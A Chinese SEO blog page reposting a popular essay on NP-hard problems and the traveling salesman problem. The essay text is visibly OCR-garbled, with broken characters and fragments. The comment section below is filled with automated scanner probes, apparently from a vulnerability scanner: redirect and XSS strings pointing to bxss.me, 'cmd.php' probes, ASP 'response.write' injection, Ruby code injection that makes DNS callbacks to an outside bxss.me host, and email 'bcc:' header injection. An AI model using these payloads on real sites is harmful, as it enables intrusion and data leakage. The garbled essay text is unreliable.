投稿

计算机科学家说的“难题”是真正的难题,老百姓说的难题

zhuanyeseo • 3年前 (2021-03-24) • SEO核心技术 • 阅读 5061 • 添加收藏

计算机科学家说的“难题”是真正的难题,老百姓说的难题

计算机科学家说的“难题”是真正的难题,老百姓说的难题

当一个计算机科学家说“难题”的时候,他说

的可是真正的难题。

老百姓说的难题,通常都不是真的难题。比

如你让一个小学生做一道高中数学题,他会

说这是一道难题

旦这个难度是相对而

言的,换个数学家来,高中数学题根本不叫

事儿。老百姓爱说“难者不会会者不难”,其

实具有这个性质的事儿都不是真的难题

真正的难题,得是绝对意义上的难。哪怕有

道题,现在活着的所有人都不会做,你也

很难说将来会不会有人找到一个巧妙地解

法,他一说那个解法大家都会觉得很简单

所以那还不能算“绝对意义上的难

而计算机科学家,找到了一种绝对意义上的

难题。术语叫“NP困难(NP-hard)”。如

果再强行翻译一下,大约叫“非确定性多项

式困难”不过你不必在意这个术语,你

只需知道,凡是“NP困难”的问题,都是绝

对的难题就行

为了理解这一点,咱们先看看什么是简单的

问题

比如现在给你一份学生名单,让你找一找,

其中有没有一个叫“王小二”的学生,这就是

个简单问题。简单体现在计算时间短。你

只需要把名单上的名字过一遍就行。对计算

机来说,这是最简单的搜索。我们容易理

解,如果名单上有N个名字,那么搜索时

间将会和N成正比。

好,再看第二个问题。还是N个学生,现

在让你按照考试分数给他们排个名次。如果

你手动,先挑最高分,再挑第二高的分这么

排,你就太慢了。如果你对计算机算法有

定了解,你大概知道有一些特别聪明的排序

算法。其中最快的排序算法所需要的运行l

间,大约和Nog(N)成正比。排序比搜索

要慢一些,但是这个时间也还可以,我们仍

然可以说这是一个简单问题。

什么叫“困难问题”呢?请看第三题

在一张地图上有N个城市,想象你是一

推销员,你能不能找到一条最短的路线,不

重不漏地经过所有这些城市去做推销,然后

回到起点。比如像下面这条路线

这个问题听起来很直观,好像挺简单,这不

就是快递员每天都面对的问题吗?但是,这

是一个非常难的问题。上面图中就是一条看

起来不错的路线,但是你怎么知道它是不是

有可能路线中*最短的*一条呢

这个问题叫做“旅行推销员问题( Traveling

Salesman Problem)”。这是一个最著名的

组合优化问题。这是一个“NP困难”问题。

解决这个问颎没有什么特别聪明的计算机算

法

你几乎就是只能把这些城市的所有

排列组合都计算一遍,看看其中哪个最短。

你所需要的计算时间,不是跟N成正比

如果是10个城市,你得尝试超过36万种

路线。如果是15个城市,你得尝试超过

871亿种路线![1

这才叫难题。难题的意思,就是换谁来也没

用,根本就没有巧妙解法,只能老老实实地

这么算,而计算它所要消耗的时间是你无法

忍受的

1970年代,计算机科学家发展了一套“计算

复杂性”理论,“NP困难”这个概念就是那时

候提出来的。1972年,加州大学伯克利分

校的理查德·卡普( Richard Karp)证明旅

行推销员问题是个NP困难问题。这也就是

说,不但现在没有好的解法,而且我们在理

论上证明,这个问题它就几乎不可能存在什

么好的解法

我为什么要说“几乎”呢?因为这里面涉

及到一个数学猜想,叫“P=NP”,也就是说

也许还有存在简单算法的一线希望,不过多

数计算机科学家不相信那个猜想.这件事

无关本文主题。

总而言之,“NP困难”是真正的困难。连计

算机都认为它是个难题。那我们应该怎样面

对这样的难题呢?这取决于你是个实用者,

改进者,还是竞争者。


本文由站长原创或收集，不代表本站立场，如若转载，请注明出处：http://zhuanyeseo.com/post/217.html

赞(0)
赏
zhuanyeseo zhuanyeseo
610
上一篇 2021年03月17日 14:42
下一篇 2021年03月24日 15:40

相关推荐

共有 610 条评论

  1. avatar

    HfjNUlYZ

    1

    2023-05-12 18:38 回复
  2. avatar

    HfjNUlYZ

    1

    2023-05-12 18:39 回复
  3. avatar

    HfjNUlYZ

    1

    2023-05-12 18:39 回复
  4. avatar

    HfjNUlYZ

    1

    2023-05-12 18:39 回复
  5. avatar

    HfjNUlYZ

    1

    2023-05-12 18:39 回复
  6. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  7. avatar

    HfjNUlYZ

    xfs.bxss.me

    2023-05-12 18:40 回复
  8. avatar

    HfjNUlYZ

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

    2023-05-12 18:40 回复
  9. avatar

    HfjNUlYZ

    953826

    2023-05-12 18:40 回复
  10. avatar

    HfjNUlYZ

    http://xfs.bxss.me?zhuanyeseo.com

    2023-05-12 18:40 回复
  11. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  12. avatar

    HfjNUlYZ

    xfs.bxss.me?zhuanyeseo.com

    2023-05-12 18:40 回复
  13. avatar

    HfjNUlYZ

    //xfs.bxss.me?zhuanyeseo.com

    2023-05-12 18:40 回复
  14. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  15. avatar

    HfjNUlYZ

    /\xfs.bxss.me?zhuanyeseo.com

    2023-05-12 18:40 回复
  16. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  17. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  18. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  19. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  20. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  21. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  22. avatar

    HfjNUlYZ

    cmd.php

    2023-05-12 18:40 回复
  23. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  24. avatar

    HfjNUlYZ

    cmd.php

    2023-05-12 18:40 回复
  25. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  26. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  27. avatar

    xfs.bxss.me

    1

    2023-05-12 18:40 回复
  28. avatar

    HfjNUlYZ

    cmd.php/.

    2023-05-12 18:40 回复
  29. avatar

    HfjNUlYZ

    response.write(9535437*9691785)

    2023-05-12 18:40 回复
  30. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  31. avatar

    940213

    1

    2023-05-12 18:40 回复
  32. avatar

    HfjNUlYZ

    '+response.write(9535437*9691785)+'

    2023-05-12 18:40 回复
  33. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  34. avatar

    HfjNUlYZ

    "+response.write(9535437*9691785)+"

    2023-05-12 18:40 回复
  35. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  36. avatar

    HfjNUlYZ

    "+"A".concat(70-3).concat(22*4).concat(102).concat(86).concat(122).concat(78)+(require"socket"
    Socket.gethostbyname("hitph"+"qhtxwdlt9d3c4.bxss.me.")[3].to_s)+"

    2023-05-12 18:40 回复
  37. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  38. avatar

    HfjNUlYZ

    '+'A'.concat(70-3).concat(22*4).concat(117).concat(66).concat(115).concat(89)+(require'socket'
    Socket.gethostbyname('hitom'+'ympydthi8d911.bxss.me.')[3].to_s)+'

    2023-05-12 18:40 回复
  39. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  40. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  41. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  42. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  43. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  44. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  45. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  46. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  47. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  48. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  49. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  50. avatar

    cmd.php

    1

    2023-05-12 18:40 回复
  51. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  52. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  53. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  54. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  55. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  56. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  57. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  58. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  59. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  60. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  61. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  62. avatar

    HfjNUlYZ

    1

    2023-05-12 18:40 回复
  63. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  64. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  65. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  66. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  67. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  68. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  69. avatar

    HfjNUlYZ

    2y3scdU0

    2023-05-12 18:41 回复
  70. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  71. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  72. avatar

    wUVDxLHy

    1

    2023-05-12 18:41 回复
  73. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  74. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  75. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  76. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  77. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  78. avatar

    HfjNUlYZ

    1
    bcc:074625.4000-19905.4000.4e470.19489.2@bxss.me

    2023-05-12 18:41 回复
  79. avatar

    HfjNUlYZ

    to@example.com˃
    bcc:074625.4000-19906.4000.4e470.19489.2@bxss.me

    2023-05-12 18:41 回复
  80. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  81. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  82. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  83. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  84. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  85. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  86. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  87. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  88. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  89. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  90. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  91. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  92. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  93. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  94. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  95. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  96. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  97. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  98. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  99. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复
  100. avatar

    HfjNUlYZ

    1

    2023-05-12 18:41 回复

回复给

欢迎点评

联系我们

站长QQ：40508326

站长邮件：405083426@qq.com

工作时间：周一至周五，9:30-18:30，节假日休息

QR code